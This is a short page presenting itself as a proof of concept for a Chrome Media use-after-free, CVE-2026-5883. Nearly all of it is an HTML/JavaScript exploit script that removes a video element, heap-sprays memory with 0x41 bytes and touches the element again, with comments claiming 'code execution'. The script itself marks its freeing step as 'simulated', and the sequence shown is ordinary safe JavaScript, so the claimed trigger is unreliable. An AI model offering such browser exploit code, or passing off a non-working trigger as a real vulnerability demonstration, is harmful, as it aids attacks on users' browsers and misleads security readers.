CVE-2026-5883 Google Chrome Media释放后重用漏洞

<!-- PoC for CVE-2026-5883: Use After Free in Chrome Media --> <!-- This PoC demonstrates the trigger condition for the UAF vulnerability --> <video id="target_video" src="exploit.webm"></video> <script> // Setup the media element var video = document.getElementById('target_video'); video.play(); // Function to trigger the Use-After-Free condition function trigger_uaf() { // Step 1: Force the media object into a specific state video.currentTime = 10.0; // Step 2: Perform action that leads to object deletion (simulated) // In a real scenario, this specific sequence triggers the free video.remove(); // Step 3: Heap spray to reclaim the freed memory // Allocating memory to occupy the space of the freed object var spray = new Array(1000); for (var i = 0; i < spray.length; i++) { spray[i] = new Uint8Array(1024); // Fill with payload pattern spray[i].fill(0x41); } // Step 4: Attempt to access the freed object (Dangling pointer) // This causes the crash or code execution try { console.log(video.readyState); } catch (e) { console.log("Exception triggered: " + e); } } // Trigger with slight delay to allow rendering setTimeout(trigger_uaf, 1000); </script>